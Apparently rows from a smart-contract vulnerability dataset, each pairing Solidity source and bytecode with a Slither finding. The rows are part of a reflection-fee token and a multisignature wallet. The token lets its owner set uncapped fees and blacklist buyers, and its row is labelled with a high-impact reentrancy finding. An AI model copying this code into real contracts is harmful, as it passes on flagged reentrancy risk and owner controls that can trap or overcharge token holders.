function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461051a578063dd62ed3e14610530578063ea1644d514610576578063f2fde38b1461059657600080fd5b8063a9059cbb14610495578063bfd79284146104b5578063c3c8cd80146104e5578063c492f046146104fa57600080fd5b80638f9a55c0116100d15780638f9a55c01461043f57806395d89b41146101fe57806398a5c31514610455578063a2a957bb1461047557600080fd5b80637d1db4a5146103eb5780638da5cb5b146104015780638f70ccf71461041f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b5a565b6105b6565b005b34801561020a57600080fd5b50604080518082018252600b81526a537061636554726f6f707360a81b602082015290516102389190611c84565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611ab0565b610663565b6040519015158152602001610238565b34801561027d57600080fd5b50601554610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611a70565b61067a565b3480156102fb57600080fd5b506102c160195481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601654610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611a00565b6106e3565b34801561036d57600080fd5b506101fc61037c366004611c21565b61072e565b34801561038d57600080fd5b506101fc610776565b3480156103a257600080fd5b506102c16103b1366004611a00565b6107c1565b3480156103c257600080fd5b506101fc6107e3565b3480156103d757600080fd5b506101fc6103e6366004611c3b565b610857565b3480156103f757600080fd5b506102c160175481565b34801561040d57600080fd5b506000546001600160a01b0316610291565b34801561042b57600080fd5b506101fc61043a366004611c21565b610886565b34801561044b57600080fd5b506102c160185481565b34801561046157600080fd5b506101fc610470366004611c3b565b6108d3565b34801561048157600080fd5b506101fc610490366004611c53565b610902565b3480156104a157600080fd5b506102616104b0366004611ab0565b610940565b3480156104c157600080fd5b506102616104d0366004611a00565b60116020526000908152604090205460ff1681565b3480156104f157600080fd5b506101fc61094d565b34801561050657600080fd5b506101fc610515366004611adb565b6109a1565b34801561052657600080fd5b506102c160085481565b34801561053c57600080fd5b506102c161054b366004611a38565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058257600080fd5b506101fc610591366004611c3b565b610a50565b3480156105a257600080fd5b506101fc6105b1366004611a00565b610a7f565b6000546001600160a01b031633146105e95760405162461bcd60e51b81526004016105e090611cd7565b60405180910390fd5b60005b815181101561065f5760016011600084848151811061061b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065781611dea565b9150506105ec565b5050565b6000610670338484610b69565b5060015b92915050565b6000610687848484610c8d565b6106d984336106d485604051806060016040528060288152602001611e47602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611240565b610b69565b5060019392505050565b6000546001600160a01b0316331461070d5760405162461bcd60e51b81526004016105e090611cd7565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107585760405162461bcd60e51b81526004016105e090611cd7565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107ab57506014546001600160a01b0316336001600160a01b0316145b6107b457600080fd5b476107be8161127a565b50565b6001600160a01b038116600090815260026020526040812054610674906112ff565b6000546001600160a01b0316331461080d5760405162461bcd60e51b81526004016105e090611cd7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108815760405162461bcd60e51b81526004016105e090611cd7565b601755565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016105e090611cd7565b60168054911515600160a01b0260ff60a01b199092169190911790556003600855565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105e090611cd7565b601955565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105e090611cd7565b600993909355600b91909155600a55600c55565b6000610670338484610c8d565b6013546001600160a01b0316336001600160a01b0316148061098257506014546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c1565b90506107be81611383565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105e090611cd7565b60005b82811015610a4a5781600560008686858181106109fb57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a109190611a00565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4281611dea565b9150506109ce565b50505050565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016105e090611cd7565b601855565b6000546001600160a01b03163314610aa95760405162461bcd60e51b81526004016105e090611cd7565b6001600160a01b038116610b0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e0565b6001600160a01b038216610c2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e0565b6001600160a01b038216610d535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e0565b60008111610db55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e0565b6000546001600160a01b03848116911614801590610de157506000546001600160a01b03838116911614155b1561113957601654600160a01b900460ff16610e7a576000546001600160a01b03848116911614610e7a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e0565b601754811115610ecc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e0565b6001600160a01b03831660009081526011602052604090205460ff16158015610f0e57506001600160a01b03821660009081526011602052604090205460ff16155b610f665760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e0565b6008544311158015610f8557506016546001600160a01b038481169116145b8015610f9f57506015546001600160a01b03838116911614155b8015610fb457506001600160a01b0382163014155b15610fdd576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110625760185481610fff846107c1565b6110099190611d7c565b106110625760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e0565b600061106d306107c1565b6019546017549192508210159082106110865760175491505b80801561109d5750601654600160a81b900460ff16155b80156110b757506016546001600160a01b03868116911614155b80156110cc5750601654600160b01b900460ff165b80156110f157506001600160a01b03851660009081526005602052604090205460ff16155b801561111657506001600160a01b03841660009081526005602052604090205460ff16155b156111365761112482611383565b478015611134576111344761127a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061117b57506001600160a01b03831660009081526005602052604090205460ff165b806111ad57506016546001600160a01b038581169116148015906111ad57506016546001600160a01b03848116911614155b156111ba57506000611234565b6016546001600160a01b0385811691161480156111e557506015546001600160a01b03848116911614155b156111f757600954600d55600a54600e555b6016546001600160a01b03848116911614801561122257506015546001600160a01b03858116911614155b1561123457600b54600d55600c54600e555b610a4a84848484611528565b600081848411156112645760405162461bcd60e51b81526004016105e09190611c84565b5060006112718486611dd3565b95945050505050565b6013546001600160a01b03166108fc611294836002611556565b6040518115909202916000818181858888f193505050501580156112bc573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112d7836002611556565b6040518115909202916000818181858888f1935050505015801561065f573d6000803e3d6000fd5b60006006548211156113665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e0565b6000611370611598565b905061137c8382611556565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142d57600080fd5b505afa158015611441573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114659190611a1c565b8160018151811061148657634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114ac9130911684610b69565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e5908590600090869030904290600401611d0c565b600060405180830381600087803b1580156114ff57600080fd5b505af1158015611513573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611535576115356115bb565b6115408484846115e9565b80610a4a57610a4a600f54600d55601054600e55565b600061137c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e0565b60008060006115a561170e565b90925090506115b48282611556565b9250505090565b600d541580156115cb5750600e54155b156115d257565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fb87611750565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162d90876117ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165c90866117ef565b6001600160a01b03891660009081526002602052604090205561167e8161184e565b6116888483611898565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116cd91815260200190565b60405180910390a3505050505050505050565b600081836117015760405162461bcd60e51b81526004016105e09190611c84565b5060006112718486611d94565b6006546000908190683635c9adc5dea0000061172a8282611556565b82101561174757505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061176d8a600d54600e546118bc565b925092509250600061177d611598565b905060008060006117908e878787611911565b919e509c509a509598509396509194505050505091939550919395565b600061137c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611240565b6000806117fc8385611d7c565b90508381101561137c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e0565b6000611858611598565b905060006118668383611961565b3060009081526002602052604090205490915061188390826117ef565b30600090815260026020526040902055505050565b6006546118a590836117ad565b6006556007546118b590826117ef565b6007555050565b60008080806118d660646118d08989611961565b90611556565b905060006118e960646118d08a89611961565b90506000611901826118fb8b866117ad565b906117ad565b9992985090965090945050505050565b60008080806119208886611961565b9050600061192e8887611961565b9050600061193c8888611961565b9050600061194e826118fb86866117ad565b939b939a50919850919650505050505050565b60008261197057506000610674565b600061197c8385611db4565b9050826119898583611d94565b1461137c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e0565b80356119eb81611e31565b919050565b803580151581146119eb57600080fd5b600060208284031215611a11578081fd5b813561137c81611e31565b600060208284031215611a2d578081fd5b815161137c81611e31565b60008060408385031215611a4a578081fd5b8235611a5581611e31565b91506020830135611a6581611e31565b809150509250929050565b600080600060608486031215611a84578081fd5b8335611a8f81611e31565b92506020840135611a9f81611e31565b929592945050506040919091013590565b60008060408385031215611ac2578182fd5b8235611acd81611e31565b946020939093013593505050565b600080600060408486031215611aef578283fd5b833567ffffffffffffffff80821115611b06578485fd5b818601915086601f830112611b19578485fd5b813581811115611b27578586fd5b8760208260051b8501011115611b3b578586fd5b602092830195509350611b5191860190506119f0565b90509250925092565b60006020808385031215611b6c578182fd5b823567ffffffffffffffff80821115611b83578384fd5b818501915085601f830112611b96578384fd5b813581811115611ba857611ba8611e1b565b8060051b604051601f19603f83011681018181108582111715611bcd57611bcd611e1b565b604052828152858101935084860182860187018a1015611beb578788fd5b8795505b83861015611c1457611c00816119e0565b855260019590950194938601938601611bef565b5098975050505050505050565b600060208284031215611c32578081fd5b61137c826119f0565b600060208284031215611c4c578081fd5b5035919050565b60008060008060808587031215611c68578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611cb057858101830151858201604001528201611c94565b81811115611cc15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d5b5784516001600160a01b031683529383019391830191600101611d36565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d8f57611d8f611e05565b500190565b600082611daf57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dce57611dce611e05565b500290565b600082821015611de557611de5611e05565b500390565b6000600019821415611dfe57611dfe611e05565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107be57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ec45e7beba5f0dae0b4c8d4b290cbbb60dd3b943f0710866fb1895f81f1e0a364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,342 |
0x6844d79095a2383ed45a5aa062e7f73ef54161e7 | pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="a9daddcccfc8c787ceccc6dbcecce9cac6c7daccc7dad0da87c7ccdd">[email protected]</span>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="6516110003040b4b02000a17020025060a0b16000b161c164b0b0011">[email protected]</span>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
} | 0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190